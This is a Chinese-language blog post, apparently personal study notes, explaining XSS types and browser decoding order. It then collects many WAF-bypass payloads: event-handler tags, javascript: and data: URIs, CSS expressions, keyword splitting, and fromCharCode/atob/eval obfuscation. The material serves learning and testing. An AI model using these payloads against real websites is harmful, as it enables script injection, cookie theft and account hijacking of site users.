關於XSS簡單介紹與waf bypass 的一些思路整理
很久沒寫東西了,今天整理一點兒思路
簡單說一下XSS
XSS(cross site script)即跨站指令碼,側重於“指令碼”這一層概念,是一種常見web安全漏洞。攻擊者通過往web頁面裡看起來就能插or看起來應該能插的地方插惡意程式碼,當用戶瀏覽時就會執行。
可能造成很多風險,比如:
1.盜取cookie,偽裝成使用者(最常見)
2.操控瀏覽器,影響加密傳輸
3.與瀏覽器外掛漏洞結合,掛馬
4.改介面釣魚
5.蠕蟲
等等等等。。。。。。
XSS按照不同分類標準可以有很多分類方式,什麼DOM、非DOM ;JS、FLASH;反射、儲存。。。。。。常見的說法是分了儲存型、反射型、DOM型三種類型
儲存型:指程式碼存在伺服器端,攻擊者的惡意輸入在沒有任何驗證的情況下儲存到了服務端檔案或資料庫中,且,該輸入在被獲取的時候,也沒有編碼或者轉義直接返回響應報文中,每次返回響應就會執行一遍惡意程式碼
反射型:提交惡意資訊給受害者,受害者點選執行,結果通過伺服器解析後反饋回瀏覽器,不儲存在後臺
DOM型:網站JS程式碼中能操作DOM物件(比如Document(整個HTML文件))、JS物件(比如Window(瀏覽器視窗)、比如Location(URL)),網站沒對一些輸入過濾,這些惡意輸入正好被這些物件的一些屬性(什麼document.location\document.URL\document.referrer\document.write等一堆,document.referer、window.name、location、innerHTML、document.write什麼的都比較危險)所利用,實現了程式碼執行。無後臺互動,程式碼不儲存於後臺
另:
瀏覽器是有解析順序的,HTML->CSS與JS(實際上是交錯的)
瀏覽器解碼順序URL->HTML->JS(啊,考慮有瀏覽器請求網頁這個動作,我說URL先解碼,實際上不一定誰先,是最外層對應的環境先解碼
如<a href="javascript: alert(1)" >click</a>
一次編碼變為<a href="javascript: al\u0065rt(1)">click</a>
二次編碼變為<a href="javascript:%0a%61l\u0065rt(1)">click</a>(這種的Unicode只能放在識別符號中才能被解析,否則<script>\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0031\u0029</script><script>alert(11)</script>這種就解析不了,因為並不知道“alert(11)”是個什麼識別符號,實際上啥也不是,於是被當成一般字串沒有執行)
解碼順序是
先是HTML轉化DOM節點a,生成DOM樹;href與URL相關,所以進行URL解碼;又href中有js偽協議,所以又進行了js解碼
但要是再來&#lt;a href="javascript:%0a%61l\u0065rt(1)">click</a>就不行了,因為HTML沒找到認識的標籤)
所以說,談到程式碼混淆多重編碼或者是編碼加密payload的時候,不要忘了按當前程式碼解析順序選擇編碼順序,具體問題具體分析,編碼順序亂了,你是解析不出來的,就執行不了,而且多重編碼沒有多次解碼也執行不了,總之要看程式碼的解析順序
關鍵在於是否可以在本層語句執行前,上層環境將其還原成本層環境可以認識的東西
比如說<a href='javascript:alert('xss')' >onclick</a>
<a href='javascript:alert('xss')' >onclick</a>可行,因為在js執行之前,被HTML認識並解碼還原了,解碼後js也認識(補充一點:DOM建立新的節點標籤會重新呼叫HTML解析)(<script>alert(9);</script>啊像這種就不行,只有js,不認識你什麼東西)
而<a href='%6A%61%76%61%73%63%72%69%70%74:%61%6C%65%72%74%28%31%29' >onclick</a>就不行,<a href='%6a%61%76%61%73%63%72%69%70%74:%61%6c%65%72%74%28%27%78%73%73%27%29' >onclick</a>冒號不編碼也不行,雖說URL解碼在前,js應該可以認識啊。這裡還涉及到了:不要對協議型別 冒號(這種寫法的且帶javascript: 和http: 之類的,什麼<img src="http://xxxxxxxxx.xxx"> 可對其進行HTML編碼,不要對其進行URL編碼)進行編碼操作,除非在被識別前解碼,雖然說有URL解碼,但是隻是解碼不會再識別一次你是什麼協議
那就把javascript這幾個字元進行HTML編碼,把alert('xss')進行URL編碼即可,冒號原地不動
js提供了四種字元編碼的策略:
- 三個八進位制數字,如果不夠個數,前面補0,例如“e”編碼為“\145”
- 兩個十六進位制數字,如果不夠個數,前面補0,例如“e”編碼為“\x65”
- 四個十六進位制數字,如果不夠個數,前面補0,例如“e”編碼為“\u0065”
- 對於一些控制字元,使用特殊的C型別的轉義風格(例如\n和\r)
URL編碼一個百分號和其ASCII編碼對應的兩位十六進位制符號#:比如常見的 # ->%23
HTML實體編碼以&開頭;結尾,分十進位制和十六進位制表示 如 < html十進位制:< html十六進位制:<
js是認識Unicode、八進位制、十六進位制(例如a \u0061(unicode) \141(八進位制) \x61(十六進位制))
HTML也認識十進位制、十六進位制(例如 < < (十進位制) < (十六進位制) )
跑題了,返回說測試程式碼
關於測試程式碼,經過自己測試(跳火坑)和網上一些大佬的思路啟發,整理了一些思路,當然不僅僅是這些
<script>alert("xss")</script>和<script src="http://xxxxxxxxxxxx/xxxxxxx.js"></script>這種基本上會被攔
看一眼當前介面的原始碼,看看是否把測試程式碼包含了,如果是,包含到哪裡了
要是沒有過濾,需要前後閉合就好
有過濾,看是什麼過濾
如果某些有實體的符號被轉義幹掉了或許可以考慮下編碼
但是你自己HTML編碼不要編碼<> ,屬性名,最好不要編碼=,:啥的,會改變標籤本身的結構,改得媽都不認識
或者fromCharCode() <script>alert(String.fromCharCode(88,83,83))</script>
如果script被幹掉了,可以嘗試<scr<script>ipt>或者大小寫或者空字元<scr%00ipt>(儘管沒啥用) 或者用其他標籤如<div> <body> <img> <a href> <svg> 等等結合onload、onerror、onmouseenter等事件關鍵字
這些關鍵字都有不同的能使用的標籤,不是在所有標籤中都能用的,觸發點也不一樣,不可能一個<script>alert(1)</script>走天下
比如
onload可用於<body>, <frame>, <frameset>, <iframe>, <img>, <input type="image">, <link>, <script>, <style> onerror可用於<img>,<link>,<script>,<video>,<object>,<audio> onfocus可用於<a>,<input>,<select>等 。。。。。。例如
<svg onload=alert(1)>(svg是個很特殊的標籤,支援XML解析,意味著在它裡面可以解析HTML實體編碼,本例中()可以用HTML實體編碼替換試試)
<body onload=alert(1)>
<div style="width:500px;height:500px" onmouseover=alert(1)></div>
<img src="javascript:alert('xss');">
<img src=1 onerror=alert(/xss/)>
等等
類似這種
還有一些大佬用<marquee>標籤的相關事件,這個東西比較少見,且有瀏覽器限制
<marquee><img src=x onerror=confirm(1)></marquee>
還有用音訊流<audio>和視訊流<video>的,也有限制,起碼要連結存在的東西,至於向內還是向外視情況而定吧
另外可以嘗試一下其他標籤如
<iframe src=javascript:alert(1)>
<embed src=javascript:alert(1)>
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgieHNzIik7PC9zY3JpcHQ+"></object>
除了往HTML中插JS,還可以往CSS中插JS
<link rel="stylesheet" href="javascript:alert('xss');">
<style> a {width:expression(alert('xss'))} </style>
<div style="width:expression(alert('xss'));">
還有一些前端JS框架,有其特殊的寫法,我也沒有太多研究,這裡暫且提一下
最後再補充一些繞過(這裡不考慮從外部匯入檔案來執行xss)
假如alert(1)括號還有引號被過濾了,不妨嘗試反引號 alert`1`
或者prompt <script>prompt(1)</script>
或者confirm <script>confirm(1)</script>
再或者自己寫變數呼叫一些其他方法有奇效
<script>
var lcx=window[String.fromCharCode(101,118,97,108)];
lcx(atob('YWxlcnQoeHNzKQ=='));
</script>
前提是window或者別的什麼方法調得起來,atob解base64
再或者<script>Array.from([1],alert)</script> 偽陣列加回調函式
總之這種變形的方法有非常多
還有為什麼不問問神奇的JSFuck和jjencode呢
類似<svg這裡onload=alert(1)> 可嘗試正斜槓/ ,回車,換行,tab也許有意外收穫
<a href="jav
ascript:alert(1)">click me</a>換行
<a href="jav	ascript:alert(1)">click me</a>tab
<a href="jav
ascript:alert(1)">click me</a>回車
關鍵詞被過濾搞註釋符號/**/
還有img標籤畸形處理
<img """><script>alert("XSS")</script>">
多重尖括號
<<script>alert("XSS");//<</script>
<body onload=alert('xss')>
<img src=# onmouseover="alert('xxs')">
等等
還有很多很多方法,不一一列舉了,這些payload執行成功與否受限於瀏覽器版本和型別是否支援
最外層的<>絕大多數情況下沒法替代,少數特殊情況下插入位置在標籤內可以用""引號閉合,或者建立新標籤,引入外部檔案執行xss
後續想起什麼再補充吧
參考文章推薦: http://bobao.360.cn/learning/detail/292.html